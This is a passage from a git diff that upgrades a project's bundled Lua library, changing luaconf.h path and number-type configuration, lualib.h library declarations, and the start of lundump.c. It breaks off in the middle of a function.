"?" +#define LUA_EXEC_DIR "!" + /* @@ LUA_PATH_DEFAULT is the default path that Lua uses to look for -@* Lua libraries. +** Lua libraries. @@ LUA_CPATH_DEFAULT is the default path that Lua uses to look for -@* C libraries. +** C libraries. ** CHANGE them if your machine has a non-conventional directory ** hierarchy or if you want to install your libraries in ** non-conventional directories. */ -#if defined(_WIN32) /* { */ + +#define LUA_VDIR LUA_VERSION_MAJOR "." LUA_VERSION_MINOR +#if defined(_WIN32) /* { */ /* ** In Windows, any exclamation mark ('!') in the path is replaced by the ** path of the directory of the executable file of the current process. */ -#define LUA_LDIR "!\\lua\\" -#define LUA_CDIR "!\\" -#define LUA_PATH_DEFAULT \ - LUA_LDIR"?.lua;" LUA_LDIR"?\\init.lua;" \ - LUA_CDIR"?.lua;" LUA_CDIR"?\\init.lua;" ".\\?.lua" -#define LUA_CPATH_DEFAULT \ - LUA_CDIR"?.dll;" LUA_CDIR"loadall.dll;" ".\\?.dll" +#define LUA_LDIR "!\\lua\\" +#define LUA_CDIR "!\\" +#define LUA_SHRDIR "!\\..\\share\\lua\\" LUA_VDIR "\\" -#else /* }{ */ - -#define LUA_VDIR LUA_VERSION_MAJOR "." LUA_VERSION_MINOR "/" -#define LUA_ROOT "/usr/local/" -#define LUA_LDIR LUA_ROOT "share/lua/" LUA_VDIR -#define LUA_CDIR LUA_ROOT "lib/lua/" LUA_VDIR +#if !defined(LUA_PATH_DEFAULT) #define LUA_PATH_DEFAULT \ - LUA_LDIR"?.lua;" LUA_LDIR"?/init.lua;" \ - LUA_CDIR"?.lua;" LUA_CDIR"?/init.lua;" "./?.lua" + LUA_LDIR"?.lua;" LUA_LDIR"?\\init.lua;" \ + LUA_CDIR"?.lua;" LUA_CDIR"?\\init.lua;" \ + LUA_SHRDIR"?.lua;" LUA_SHRDIR"?\\init.lua;" \ + ".\\?.lua;" ".\\?\\init.lua" +#endif + +#if !defined(LUA_CPATH_DEFAULT) #define LUA_CPATH_DEFAULT \ - LUA_CDIR"?.so;" LUA_CDIR"loadall.so;" "./?.so" -#endif /* } */ + LUA_CDIR"?.dll;" \ + LUA_CDIR"..\\lib\\lua\\" LUA_VDIR "\\?.dll;" \ + LUA_CDIR"loadall.dll;" ".\\?.dll" +#endif + +#else /* }{ */ + +#define LUA_ROOT "/usr/local/" +#define LUA_LDIR LUA_ROOT "share/lua/" LUA_VDIR "/" +#define LUA_CDIR LUA_ROOT "lib/lua/" LUA_VDIR "/" + +#if !defined(LUA_PATH_DEFAULT) +#define LUA_PATH_DEFAULT \ + LUA_LDIR"?.lua;" LUA_LDIR"?/init.lua;" \ + LUA_CDIR"?.lua;" LUA_CDIR"?/init.lua;" \ + "./?.lua;" "./?/init.lua" +#endif + +#if !defined(LUA_CPATH_DEFAULT) +#define LUA_CPATH_DEFAULT \ + LUA_CDIR"?.so;" LUA_CDIR"loadall.so;" "./?.so" +#endif + +#endif /* } */ /* @@ -120,20 +247,33 @@ ** CHANGE it if your machine does not use "/" as the directory separator ** and is not Windows. (On Windows Lua automatically uses "\".) */ +#if !defined(LUA_DIRSEP) + #if defined(_WIN32) -#define LUA_DIRSEP "\\" +#define LUA_DIRSEP "\\" #else -#define LUA_DIRSEP "/" +#define LUA_DIRSEP "/" +#endif + #endif /* -@@ LUA_ENV is the name of the variable that holds the current -@@ environment, used to access global names. -** CHANGE it if you do not like this name. +** LUA_IGMARK is a mark to ignore all after it when building the +** module name (e.g., used to build the luaopen_ function name). +** Typically, the suffix after the mark is the module version, +** as in "mod-v1.2.so". */ -#define LUA_ENV "_ENV" +#define LUA_IGMARK "-" +/* }================================================================== */ + + +/* +** {================================================================== +** Marks for exported symbols in the C code +** =================================================================== +*/ /* @@ LUA_API is a mark for all core API functions. @@ -144,32 +284,34 @@ ** the libraries, you may want to use the following definition (define ** LUA_BUILD_AS_DLL to get it). */ -#if defined(LUA_BUILD_AS_DLL) /* { */ +#if defined(LUA_BUILD_AS_DLL) /* { */ -#if defined(LUA_CORE) || defined(LUA_LIB) /* { */ +#if defined(LUA_CORE) || defined(LUA_LIB) /* { */ #define LUA_API __declspec(dllexport) -#else /* }{ */ +#else /* }{ */ #define LUA_API __declspec(dllimport) -#endif /* } */ +#endif /* } */ -#else /* }{ */ +#else /* }{ */ -#define LUA_API extern +#define LUA_API extern -#endif /* } */ +#endif /* } */ -/* more often than not the libs go together with the core */ -#define LUALIB_API LUA_API -#define LUAMOD_API LUALIB_API +/* +** More often than not the libs go together with the core. +*/ +#define LUALIB_API LUA_API +#define LUAMOD_API LUA_API /* @@ LUAI_FUNC is a mark for all extern functions that are not to be -@* exported to outside modules. -@@ LUAI_DDEF and LUAI_DDEC are marks for all extern (const) variables -@* that are not to be exported to outside modules (LUAI_DDEF for -@* definitions and LUAI_DDEC for declarations). +** exported to outside modules. +@@ LUAI_DDEF and LUAI_DDEC are marks for all extern (const) variables, +** none of which to be exported to outside modules (LUAI_DDEF for +** definitions and LUAI_DDEC for declarations). ** CHANGE them if you need to mark them in some special way. Elf/gcc ** (versions 3.2 and later) mark them as "hidden" to optimize access ** when Lua is compiled as a shared library. Not all elf targets support @@ -179,62 +321,16 @@ ** default definition. */ #if defined(__GNUC__) && ((__GNUC__*100 + __GNUC_MINOR__) >= 302) && \ - defined(__ELF__) /* { */ -#define LUAI_FUNC __attribute__((visibility("hidden"))) extern -#define LUAI_DDEC LUAI_FUNC -#define LUAI_DDEF /* empty */ + defined(__ELF__) /* { */ +#define LUAI_FUNC __attribute__((visibility("internal"))) extern +#else /* }{ */ +#define LUAI_FUNC extern +#endif /* } */ -#else /* }{ */ -#define LUAI_FUNC extern -#define LUAI_DDEC extern -#define LUAI_DDEF /* empty */ -#endif /* } */ - - - -/* -@@ LUA_QL describes how error messages quote program elements. -** CHANGE it if you want a different appearance. -*/ -#define LUA_QL(x) "'" x "'" -#define LUA_QS LUA_QL("%s") - - -/* -@@ LUA_IDSIZE gives the maximum size for the description of the source -@* of a function in debug information. -** CHANGE it if you want a different size. -*/ -#define LUA_IDSIZE 60 - - -/* -@@ luai_writestring/luai_writeline define how 'print' prints its results. -** They are only used in libraries and the stand-alone program. (The #if -** avoids including 'stdio.h' everywhere.) -*/ -#if defined(LUA_LIB) || defined(lua_c) -#include -#define luai_writestring(s,l) fwrite((s), sizeof(char), (l), stdout) -#define luai_writeline() (luai_writestring("\n", 1), fflush(stdout)) -#endif - -/* -@@ luai_writestringerror defines how to print error messages. -** (A format string with one argument is enough for Lua...) -*/ -#define luai_writestringerror(s,p) \ - (fprintf(stderr, (s), (p)), fflush(stderr)) - - -/* -@@ LUAI_MAXSHORTLEN is the maximum length for short strings, that is, -** strings that are internalized. (Cannot be smaller than reserved words -** or tags for metamethods, as these strings must be internalized; -** #("function") = 8, #("__newindex") = 10.) -*/ -#define LUAI_MAXSHORTLEN 40 +#define LUAI_DDEC(dec) LUAI_FUNC dec +#define LUAI_DDEF /* empty */ +/* }================================================================== */ /* @@ -244,304 +340,453 @@ */ /* -@@ LUA_COMPAT_ALL controls all compatibility options. +@@ LUA_COMPAT_5_3 controls other macros for compatibility with Lua 5.3. ** You can define it to get all options, or change specific options ** to fit your specific needs. */ -#if defined(LUA_COMPAT_ALL) /* { */ +#if defined(LUA_COMPAT_5_3) /* { */ /* -@@ LUA_COMPAT_UNPACK controls the presence of global 'unpack'. -** You can replace it with 'table.unpack'. +@@ LUA_COMPAT_MATHLIB controls the presence of several deprecated +** functions in the mathematical library. +** (These functions were already officially removed in 5.3; +** nevertheless they are still available here.) */ -#define LUA_COMPAT_UNPACK +#define LUA_COMPAT_MATHLIB /* -@@ LUA_COMPAT_LOADERS controls the presence of table 'package.loaders'. -** You can replace it with 'package.searchers'. +@@ LUA_COMPAT_APIINTCASTS controls the presence of macros for +** manipulating other integer types (lua_pushunsigned, lua_tounsigned, +** luaL_checkint, luaL_checklong, etc.) +** (These macros were also officially removed in 5.3, but they are still +** available here.) */ -#define LUA_COMPAT_LOADERS - -/* -@@ macro 'lua_cpcall' emulates deprecated function lua_cpcall. -** You can call your C function directly (with light C functions). -*/ -#define lua_cpcall(L,f,u) \ - (lua_pushcfunction(L, (f)), \ - lua_pushlightuserdata(L,(u)), \ - lua_pcall(L,1,0,0)) +#define LUA_COMPAT_APIINTCASTS /* -@@ LUA_COMPAT_LOG10 defines the function 'log10' in the math library. -** You can rewrite 'log10(x)' as 'log(x, 10)'. +@@ LUA_COMPAT_LT_LE controls the emulation of the '__le' metamethod +** using '__lt'. */ -#define LUA_COMPAT_LOG10 +#define LUA_COMPAT_LT_LE -/* -@@ LUA_COMPAT_LOADSTRING defines the function 'loadstring' in the base -** library. You can rewrite 'loadstring(s)' as 'load(s)'. -*/ -#define LUA_COMPAT_LOADSTRING - -/* -@@ LUA_COMPAT_MAXN defines the function 'maxn' in the table library. -*/ -#define LUA_COMPAT_MAXN /* @@ The following macros supply trivial compatibility for some ** changes in the API. The macros themselves document how to ** change your code to avoid using them. +** (Once more, these macros were officially removed in 5.3, but they are +** still available here.) */ -#define lua_strlen(L,i) lua_rawlen(L, (i)) +#define lua_strlen(L,i) lua_rawlen(L, (i)) -#define lua_objlen(L,i) lua_rawlen(L, (i)) +#define lua_objlen(L,i) lua_rawlen(L, (i)) -#define lua_equal(L,idx1,idx2) lua_compare(L,(idx1),(idx2),LUA_OPEQ) -#define lua_lessthan(L,idx1,idx2) lua_compare(L,(idx1),(idx2),LUA_OPLT) +#define lua_equal(L,idx1,idx2) lua_compare(L,(idx1),(idx2),LUA_OPEQ) +#define lua_lessthan(L,idx1,idx2) lua_compare(L,(idx1),(idx2),LUA_OPLT) -/* -@@ LUA_COMPAT_MODULE controls compatibility with previous -** module functions 'module' (Lua) and 'luaL_register' (C). -*/ -#define LUA_COMPAT_MODULE - -#endif /* } */ +#endif /* } */ /* }================================================================== */ /* -@@ LUAI_BITSINT defines the number of bits in an int. -** CHANGE here if Lua cannot automatically detect the number of bits of -** your machine. Probably you do not need to change this. +** {================================================================== +** Configuration for Numbers (low-level part). +** Change these definitions if no predefined LUA_FLOAT_* / LUA_INT_* +** satisfy your needs. +** =================================================================== */ -/* avoid overflows in comparison */ -#if INT_MAX-20 < 32760 /* { */ -#define LUAI_BITSINT 16 -#elif INT_MAX > 2147483640L /* }{ */ -/* int has at least 32 bits */ -#define LUAI_BITSINT 32 -#else /* }{ */ -#error "you must define LUA_BITSINT with number of bits in an integer" -#endif /* } */ + +/* +@@ LUAI_UACNUMBER is the result of a 'default argument promotion' +@@ over a floating number. +@@ l_floatatt(x) corrects float attribute 'x' to the proper float type +** by prefixing it with one of FLT/DBL/LDBL. +@@ LUA_NUMBER_FRMLEN is the length modifier for writing floats. +@@ LUA_NUMBER_FMT is the format for writing floats. +@@ lua_number2str converts a float to a string. +@@ l_mathop allows the addition of an 'l' or 'f' to all math operations. +@@ l_floor takes the floor of a float. +@@ lua_str2number converts a decimal numeral to a number. +*/ + + +/* The following definitions are good for most cases here */ + +#define l_floor(x) (l_mathop(floor)(x)) + +#define lua_number2str(s,sz,n) \ + l_sprintf((s), sz, LUA_NUMBER_FMT, (LUAI_UACNUMBER)(n)) + +/* +@@ lua_numbertointeger converts a float number with an integral value +** to an integer, or returns 0 if float is not within the range of +** a lua_Integer. (The range comparisons are tricky because of +** rounding. The tests here assume a two-complement representation, +** where MININTEGER always has an exact representation as a float; +** MAXINTEGER may not have one, and therefore its conversion to float +** may have an ill-defined value.) +*/ +#define lua_numbertointeger(n,p) \ + ((n) >= (LUA_NUMBER)(LUA_MININTEGER) && \ + (n) < -(LUA_NUMBER)(LUA_MININTEGER) && \ + (*(p) = (LUA_INTEGER)(n), 1)) + + +/* now the variable definitions */ + +#if LUA_FLOAT_TYPE == LUA_FLOAT_FLOAT /* { single float */ + +#define LUA_NUMBER float + +#define l_floatatt(n) (FLT_##n) + +#define LUAI_UACNUMBER double + +#define LUA_NUMBER_FRMLEN "" +#define LUA_NUMBER_FMT "%.7g" + +#define l_mathop(op) op##f + +#define lua_str2number(s,p) strtof((s), (p)) + + +#elif LUA_FLOAT_TYPE == LUA_FLOAT_LONGDOUBLE /* }{ long double */ + +#define LUA_NUMBER long double + +#define l_floatatt(n) (LDBL_##n) + +#define LUAI_UACNUMBER long double + +#define LUA_NUMBER_FRMLEN "L" +#define LUA_NUMBER_FMT "%.19Lg" + +#define l_mathop(op) op##l + +#define lua_str2number(s,p) strtold((s), (p)) + +#elif LUA_FLOAT_TYPE == LUA_FLOAT_DOUBLE /* }{ double */ + +#define LUA_NUMBER double + +#define l_floatatt(n) (DBL_##n) + +#define LUAI_UACNUMBER double + +#define LUA_NUMBER_FRMLEN "" +#define LUA_NUMBER_FMT "%.14g" + +#define l_mathop(op) op + +#define lua_str2number(s,p) strtod((s), (p)) + +#else /* }{ */ + +#error "numeric float type not defined" + +#endif /* } */ + /* -@@ LUA_INT32 is a signed integer with exactly 32 bits. -@@ LUAI_UMEM is an unsigned integer big enough to count the total -@* memory used by Lua. -@@ LUAI_MEM is a signed integer big enough to count the total memory -@* used by Lua. -** CHANGE here if for some weird reason the default definitions are not -** good enough for your machine. Probably you do not need to change -** this. +@@ LUA_UNSIGNED is the unsigned version of LUA_INTEGER. +@@ LUAI_UACINT is the result of a 'default argument promotion' +@@ over a LUA_INTEGER. +@@ LUA_INTEGER_FRMLEN is the length modifier for reading/writing integers. +@@ LUA_INTEGER_FMT is the format for writing integers. +@@ LUA_MAXINTEGER is the maximum value for a LUA_INTEGER. +@@ LUA_MININTEGER is the minimum value for a LUA_INTEGER. +@@ LUA_MAXUNSIGNED is the maximum value for a LUA_UNSIGNED. +@@ lua_integer2str converts an integer to a string. */ -#if LUAI_BITSINT >= 32 /* { */ -#define LUA_INT32 int -#define LUAI_UMEM size_t -#define LUAI_MEM ptrdiff_t -#else /* }{ */ -/* 16-bit ints */ -#define LUA_INT32 long -#define LUAI_UMEM unsigned long -#define LUAI_MEM long -#endif /* } */ +/* The following definitions are good for most cases here */ + +#define LUA_INTEGER_FMT "%" LUA_INTEGER_FRMLEN "d" + +#define LUAI_UACINT LUA_INTEGER + +#define lua_integer2str(s,sz,n) \ + l_sprintf((s), sz, LUA_INTEGER_FMT, (LUAI_UACINT)(n)) + +/* +** use LUAI_UACINT here to avoid problems with promotions (which +** can turn a comparison between unsigneds into a signed comparison) +*/ +#define LUA_UNSIGNED unsigned LUAI_UACINT + + +/* now the variable definitions */ + +#if LUA_INT_TYPE == LUA_INT_INT /* { int */ + +#define LUA_INTEGER int +#define LUA_INTEGER_FRMLEN "" + +#define LUA_MAXINTEGER INT_MAX +#define LUA_MININTEGER INT_MIN + +#define LUA_MAXUNSIGNED UINT_MAX + +#elif LUA_INT_TYPE == LUA_INT_LONG /* }{ long */ + +#define LUA_INTEGER long +#define LUA_INTEGER_FRMLEN "l" + +#define LUA_MAXINTEGER LONG_MAX +#define LUA_MININTEGER LONG_MIN + +#define LUA_MAXUNSIGNED ULONG_MAX + +#elif LUA_INT_TYPE == LUA_INT_LONGLONG /* }{ long long */ + +/* use presence of macro LLONG_MAX as proxy for C99 compliance */ +#if defined(LLONG_MAX) /* { */ +/* use ISO C99 stuff */ + +#define LUA_INTEGER long long +#define LUA_INTEGER_FRMLEN "ll" + +#define LUA_MAXINTEGER LLONG_MAX +#define LUA_MININTEGER LLONG_MIN + +#define LUA_MAXUNSIGNED ULLONG_MAX + +#elif defined(LUA_USE_WINDOWS) /* }{ */ +/* in Windows, can use specific Windows types */ + +#define LUA_INTEGER __int64 +#define LUA_INTEGER_FRMLEN "I64" + +#define LUA_MAXINTEGER _I64_MAX +#define LUA_MININTEGER _I64_MIN + +#define LUA_MAXUNSIGNED _UI64_MAX + +#else /* }{ */ + +#error "Compiler does not support 'long long'. Use option '-DLUA_32BITS' \ +or '-DLUA_C89_NUMBERS'(see file 'luaconf.h' for details)" + +#endif /* } */ + +#else /* }{ */ + +#error "numeric integer type not defined" + +#endif /* } */ + +/* }================================================================== */ + + +/* +** {================================================================== +** Dependencies with C99 and other C details +** =================================================================== +*/ + +/* +@@ l_sprintf is equivalent to 'snprintf' or 'sprintf' in C89. +** (All uses in Lua have only one format item.) +*/ +#if !defined(LUA_USE_C89) +#define l_sprintf(s,sz,f,i) snprintf(s,sz,f,i) +#else +#define l_sprintf(s,sz,f,i) ((void)(sz), sprintf(s,f,i)) +#endif + + +/* +@@ lua_strx2number converts a hexadecimal numeral to a number. +** In C99, 'strtod' does that conversion. Otherwise, you can +** leave 'lua_strx2number' undefined and Lua will provide its own +** implementation. +*/ +#if !defined(LUA_USE_C89) +#define lua_strx2number(s,p) lua_str2number(s,p) +#endif + + +/* +@@ lua_pointer2str converts a pointer to a readable string in a +** non-specified way. +*/ +#define lua_pointer2str(buff,sz,p) l_sprintf(buff,sz,"%p",p) + + +/* +@@ lua_number2strx converts a float to a hexadecimal numeral. +** In C99, 'sprintf' (with format specifiers '%a'/'%A') does that. +** Otherwise, you can leave 'lua_number2strx' undefined and Lua will +** provide its own implementation. +*/ +#if !defined(LUA_USE_C89) +#define lua_number2strx(L,b,sz,f,n) \ + ((void)L, l_sprintf(b,sz,f,(LUAI_UACNUMBER)(n))) +#endif + + +/* +** 'strtof' and 'opf' variants for math functions are not valid in +** C89. Otherwise, the macro 'HUGE_VALF' is a good proxy for testing the +** availability of these variants. ('math.h' is already included in +** all files that use these macros.) +*/ +#if defined(LUA_USE_C89) || (defined(HUGE_VAL) && !defined(HUGE_VALF)) +#undef l_mathop /* variants not available */ +#undef lua_str2number +#define l_mathop(op) (lua_Number)op /* no variant */ +#define lua_str2number(s,p) ((lua_Number)strtod((s), (p))) +#endif + + +/* +@@ LUA_KCONTEXT is the type of the context ('ctx') for continuation +** functions. It must be a numerical type; Lua will use 'intptr_t' if +** available, otherwise it will use 'ptrdiff_t' (the nearest thing to +** 'intptr_t' in C89) +*/ +#define LUA_KCONTEXT ptrdiff_t + +#if !defined(LUA_USE_C89) && defined(__STDC_VERSION__) && \ + __STDC_VERSION__ >= 199901L +#include +#if defined(INTPTR_MAX) /* even in C99 this type is optional */ +#undef LUA_KCONTEXT +#define LUA_KCONTEXT intptr_t +#endif +#endif + + +/* +@@ lua_getlocaledecpoint gets the locale "radix character" (decimal point). +** Change that if you do not want to use C locales. (Code using this +** macro must include the header 'locale.h'.) +*/ +#if !defined(lua_getlocaledecpoint) +#define lua_getlocaledecpoint() (localeconv()->decimal_point[0]) +#endif + + +/* +** macros to improve jump prediction, used mostly for error handling +** and debug facilities. (Some macros in the Lua API use these macros. +** Define LUA_NOBUILTIN if you do not want '__builtin_expect' in your +** code.) +*/ +#if !defined(luai_likely) + +#if defined(__GNUC__) && !defined(LUA_NOBUILTIN) +#define luai_likely(x) (__builtin_expect(((x) != 0), 1)) +#define luai_unlikely(x) (__builtin_expect(((x) != 0), 0)) +#else +#define luai_likely(x) (x) +#define luai_unlikely(x) (x) +#endif + +#endif + + +#if defined(LUA_CORE) || defined(LUA_LIB) +/* shorter names for Lua's own use */ +#define l_likely(x) luai_likely(x) +#define l_unlikely(x) luai_unlikely(x) +#endif + + + +/* }================================================================== */ + + +/* +** {================================================================== +** Language Variations +** ===================================================================== +*/ + +/* +@@ LUA_NOCVTN2S/LUA_NOCVTS2N control how Lua performs some +** coercions. Define LUA_NOCVTN2S to turn off automatic coercion from +** numbers to strings. Define LUA_NOCVTS2N to turn off automatic +** coercion from strings to numbers. +*/ +/* #define LUA_NOCVTN2S */ +/* #define LUA_NOCVTS2N */ + + +/* +@@ LUA_USE_APICHECK turns on several consistency checks on the C API. +** Define it as a help when debugging C code. +*/ +#if defined(LUA_USE_APICHECK) +#include +#define luai_apicheck(l,e) assert(e) +#endif + +/* }================================================================== */ + + +/* +** {================================================================== +** Macros that affect the API and must be stable (that is, must be the +** same when you compile Lua and when you compile code that links to +** Lua). +** ===================================================================== +*/ + /* @@ LUAI_MAXSTACK limits the size of the Lua stack. ** CHANGE it if you need a different limit. This limit is arbitrary; ** its only purpose is to stop Lua from consuming unlimited stack ** space (and to reserve some numbers for pseudo-indices). +** (It must fit into max(size_t)/32 and max(int)/2.) */ -#if LUAI_BITSINT >= 32 -#define LUAI_MAXSTACK 1000000 +#if LUAI_IS32INT +#define LUAI_MAXSTACK 1000000 #else -#define LUAI_MAXSTACK 15000 -#endif - -/* reserve some space for error handling */ -#define LUAI_FIRSTPSEUDOIDX (-LUAI_MAXSTACK - 1000) - - - - -/* -@@ LUAL_BUFFERSIZE is the buffer size used by the lauxlib buffer system. -** CHANGE it if it uses too much C-stack space. -*/ -#define LUAL_BUFFERSIZE BUFSIZ - - - - -/* -** {================================================================== -@@ LUA_NUMBER is the type of numbers in Lua. -** CHANGE the following definitions only if you want to build Lua -** with a number type different from double. You may also need to -** change lua_number2int & lua_number2integer. -** =================================================================== -*/ - -#define LUA_NUMBER_DOUBLE -#define LUA_NUMBER double - -/* -@@ LUAI_UACNUMBER is the result of an 'usual argument conversion' -@* over a number. -*/ -#define LUAI_UACNUMBER double - - -/* -@@ LUA_NUMBER_SCAN is the format for reading numbers. -@@ LUA_NUMBER_FMT is the format for writing numbers. -@@ lua_number2str converts a number to a string. -@@ LUAI_MAXNUMBER2STR is maximum size of previous conversion. -*/ -#define LUA_NUMBER_SCAN "%lf" -#define LUA_NUMBER_FMT "%.14g" -#define lua_number2str(s,l,n) snprintf((s), (l), LUA_NUMBER_FMT, (n)) -#define LUAI_MAXNUMBER2STR 32 /* 16 digits, sign, point, and \0 */ - - -/* -@@ l_mathop allows the addition of an 'l' or 'f' to all math operations -*/ -#define l_mathop(x) (x) - - -/* -@@ lua_str2number converts a decimal numeric string to a number. -@@ lua_strx2number converts an hexadecimal numeric string to a number. -** In C99, 'strtod' does both conversions. C89, however, has no function -** to convert floating hexadecimal strings to numbers. For these -** systems, you can leave 'lua_strx2number' undefined and Lua will -** provide its own implementation. -*/ -#define lua_str2number(s,p) strtod((s), (p)) - -#if defined(LUA_USE_STRTODHEX) -#define lua_strx2number(s,p) strtod((s), (p)) +#define LUAI_MAXSTACK 15000 #endif /* -@@ The luai_num* macros define the primitive operations over numbers. +@@ LUA_EXTRASPACE defines the size of a raw memory area associated with +** a Lua state with very fast access. +** CHANGE it if you need a different size. */ - -/* the following operations need the math library */ -#if defined(lobject_c) || defined(lvm_c) -#include -#define luai_nummod(L,a,b) ((a) - l_mathop(floor)((a)/(b))*(b)) -#define luai_numpow(L,a,b) (l_mathop(pow)(a,b)) -#endif - -/* these are quite standard operations */ -#if defined(LUA_CORE) -#define luai_numadd(L,a,b) ((a)+(b)) -#define luai_numsub(L,a,b) ((a)-(b)) -#define luai_nummul(L,a,b) ((a)*(b)) -#define luai_numdiv(L,a,b) ((a)/(b)) -#define luai_numunm(L,a) (-(a)) -#define luai_numeq(a,b) ((a)==(b)) -#define luai_numlt(L,a,b) ((a)<(b)) -#define luai_numle(L,a,b) ((a)<=(b)) -#define luai_numisnan(L,a) (!luai_numeq((a), (a))) -#endif - +#define LUA_EXTRASPACE (sizeof(void *)) /* -@@ LUA_INTEGER is the integral type used by lua_pushinteger/lua_tointeger. -** CHANGE that if ptrdiff_t is not adequate on your machine. (On most -** machines, ptrdiff_t gives a good choice between int or long.) +@@ LUA_IDSIZE gives the maximum size for the description of the source +** of a function in debug information. +** CHANGE it if you want a different size. */ -#define LUA_INTEGER ptrdiff_t - -/* -@@ LUA_UNSIGNED is the integral type used by lua_pushunsigned/lua_tounsigned. -** It must have at least 32 bits. -*/ -#define LUA_UNSIGNED unsigned LUA_INT32 - +#define LUA_IDSIZE 60 /* -** Some tricks with doubles +@@ LUAL_BUFFERSIZE is the initial buffer size used by the lauxlib +** buffer system. */ +#define LUAL_BUFFERSIZE ((int)(16 * sizeof(void*) * sizeof(lua_Number))) + -#if defined(LUA_NUMBER_DOUBLE) && !defined(LUA_ANSI) /* { */ /* -** The next definitions activate some tricks to speed up the -** conversion from doubles to integer types, mainly to LUA_UNSIGNED. -** -@@ LUA_MSASMTRICK uses Microsoft assembler to avoid clashes with a -** DirectX idiosyncrasy. -** -@@ LUA_IEEE754TRICK uses a trick that should work on any machine -** using IEEE754 with a 32-bit integer type. -** -@@ LUA_IEEELL extends the trick to LUA_INTEGER; should only be -** defined when LUA_INTEGER is a 32-bit integer. -** -@@ LUA_IEEEENDIAN is the endianness of doubles in your machine -** (0 for little endian, 1 for big endian); if not defined, Lua will -** check it dynamically for LUA_IEEE754TRICK (but not for LUA_NANTRICK). -** -@@ LUA_NANTRICK controls the use of a trick to pack all types into -** a single double value, using NaN values to represent non-number -** values. The trick only works on 32-bit machines (ints and pointers -** are 32-bit values) with numbers represented as IEEE 754-2008 doubles -** with conventional endianess (12345678 or 87654321), in CPUs that do -** not produce signaling NaN values (all NaNs are quiet). +@@ LUAI_MAXALIGN defines fields that, when used in a union, ensure +** maximum alignment for the other items in that union. */ - -/* Microsoft compiler on a Pentium (32 bit) ? */ -#if defined(LUA_WIN) && defined(_MSC_VER) && defined(_M_IX86) /* { */ - -#define LUA_MSASMTRICK -#define LUA_IEEEENDIAN 0 -#define LUA_NANTRICK - - -/* pentium 32 bits? */ -#elif defined(__i386__) || defined(__i386) || defined(__X86__) /* }{ */ - -#define LUA_IEEE754TRICK -#define LUA_IEEELL -#define LUA_IEEEENDIAN 0 -#define LUA_NANTRICK - -/* pentium 64 bits? */ -#elif defined(__x86_64) /* }{ */ - -#define LUA_IEEE754TRICK -#define LUA_IEEEENDIAN 0 - -#elif defined(__POWERPC__) || defined(__ppc__) /* }{ */ - -#define LUA_IEEE754TRICK -#define LUA_IEEEENDIAN 1 - -#else /* }{ */ - -/* assume IEEE754 and a 32-bit integer type */ -#define LUA_IEEE754TRICK - -#endif /* } */ - -#endif /* } */ +#define LUAI_MAXALIGN lua_Number n; double u; void *s; lua_Integer i; long l /* }================================================================== */ + /* =================================================================== */ /* @@ -551,5 +796,7 @@ + + #endif diff --git a/client/deps/liblua/lualib.h b/client/deps/liblua/lualib.h index f6651cf0a..852592c9f 100644 --- a/client/deps/liblua/lualib.h +++ b/client/deps/liblua/lualib.h @@ -1,5 +1,5 @@ /* -** $Id: lualib.h,v 1.43 2011/12/08 12:11:37 roberto Exp $ +** $Id: lualib.h $ ** Lua standard libraries ** See Copyright Notice in lua.h */ @@ -11,34 +11,37 @@ #include "lua.h" +/* version suffix for environment variable names */ +#define LUA_VERSUFFIX "_" LUA_VERSION_MAJOR "_" LUA_VERSION_MINOR + LUAMOD_API int (luaopen_base)(lua_State *L); -#define LUA_COLIBNAME "coroutine" +#define LUA_COLIBNAME "coroutine" LUAMOD_API int (luaopen_coroutine)(lua_State *L); -#define LUA_TABLIBNAME "table" +#define LUA_TABLIBNAME "table" LUAMOD_API int (luaopen_table)(lua_State *L); -#define LUA_IOLIBNAME "io" +#define LUA_IOLIBNAME "io" LUAMOD_API int (luaopen_io)(lua_State *L); -#define LUA_OSLIBNAME "os" +#define LUA_OSLIBNAME "os" LUAMOD_API int (luaopen_os)(lua_State *L); -#define LUA_STRLIBNAME "string" +#define LUA_STRLIBNAME "string" LUAMOD_API int (luaopen_string)(lua_State *L); -#define LUA_BITLIBNAME "bit32" -LUAMOD_API int (luaopen_bit32)(lua_State *L); +#define LUA_UTF8LIBNAME "utf8" +LUAMOD_API int (luaopen_utf8)(lua_State *L); -#define LUA_MATHLIBNAME "math" +#define LUA_MATHLIBNAME "math" LUAMOD_API int (luaopen_math)(lua_State *L); -#define LUA_DBLIBNAME "debug" +#define LUA_DBLIBNAME "debug" LUAMOD_API int (luaopen_debug)(lua_State *L); -#define LUA_LOADLIBNAME "package" +#define LUA_LOADLIBNAME "package" LUAMOD_API int (luaopen_package)(lua_State *L); @@ -46,10 +49,4 @@ LUAMOD_API int (luaopen_package)(lua_State *L); LUALIB_API void (luaL_openlibs)(lua_State *L); - -#if !defined(lua_assert) -#define lua_assert(x) ((void)0) -#endif - - #endif diff --git a/client/deps/liblua/lundump.c b/client/deps/liblua/lundump.c index 980c72564..475442466 100644 --- a/client/deps/liblua/lundump.c +++ b/client/deps/liblua/lundump.c @@ -1,14 +1,18 @@ /* -** $Id: lundump.c,v 2.22 2012/05/08 13:53:33 roberto Exp $ +** $Id: lundump.c $ ** load precompiled Lua chunks ** See Copyright Notice in lua.h */ -#include - #define lundump_c #define LUA_CORE +#include "lprefix.h" + + +#include +#include + #include "lua.h" #include "ldebug.h" @@ -20,176 +24,295 @@ #include "lundump.h" #include "lzio.h" + +#if !defined(luai_verifycode) +#define luai_verifycode(L,f) /* empty */ +#endif + + typedef struct { lua_State *L; ZIO *Z; - Mbuffer *b; const char *name; } LoadState; + static l_noret error(LoadState *S, const char *why) { - luaO_pushfstring(S->L, "%s: %s precompiled chunk", S->name, why); + luaO_pushfstring(S->L, "%s: bad binary format (%s)", S->name, why); luaD_throw(S->L, LUA_ERRSYNTAX); } -#define LoadMem(S,b,n,size) LoadBlock(S,b,(n)*(size)) -#define LoadByte(S) (lu_byte)LoadChar(S) -#define LoadVar(S,x) LoadMem(S,&x,1,sizeof(x)) -#define LoadVector(S,b,n,size) LoadMem(S,b,n,size) -#if !defined(luai_verifycode) -#define luai_verifycode(L,b,f) /* empty */ -#endif +/* +** All high-level loads go through loadVector; you can change it to +** adapt to the endianness of the input +*/ +#define loadVector(S,b,n) loadBlock(S,b,(n)*sizeof((b)[0])) -static void LoadBlock(LoadState *S, void *b, size_t size) { - if (luaZ_read(S->Z, b, size) != 0) error(S, "truncated"); +static void loadBlock(LoadState *S, void *b, size_t size) { + if (luaZ_read(S->Z, b, size) != 0) + error(S, "truncated chunk"); } -static int LoadChar(LoadState *S) { - char x; - LoadVar(S, x); + +#define loadVar(S,x) loadVector(S,&x,1) + + +static lu_byte loadByte(LoadState *S) { + int b 